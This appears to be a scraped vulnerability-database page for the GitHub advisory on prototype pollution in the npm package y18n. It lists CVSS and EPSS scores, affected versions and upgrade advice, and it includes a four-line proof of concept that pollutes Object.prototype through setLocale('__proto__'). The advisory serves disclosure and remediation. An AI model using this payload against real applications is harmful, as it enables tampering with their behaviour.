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githubGitHub Advisory DatabaseGHSA-C4W7-XM78-47VH
HistoryMar 29, 2021 - 4:05 p.m.

Prototype Pollution in y18n

2021-03-2916:05:12
CWE-20
CWE-915
CWE-1321
GitHub Advisory Database
github.com
42

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.304 Low

EPSS

Percentile

97.0%

JSON

Overview

The npm package y18n before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution.

POC

const y18n = require('y18n')();

y18n.setLocale('__proto__');
y18n.updateLocale({polluted: true});

console.log(polluted); // true

Recommendation

Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.

Affected configurations

Vulners
Node
y18n_projecty18nRange<5.0.5node.js
OR
y18n_projecty18nMatch4.0.0node.js
OR
y18n_projecty18nRange<3.2.2node.js
CPENameOperatorVersion
y18nlt5.0.5
y18neq4.0.0
y18nlt3.2.2

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7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.304 Low

EPSS

Percentile

97.0%

JSON
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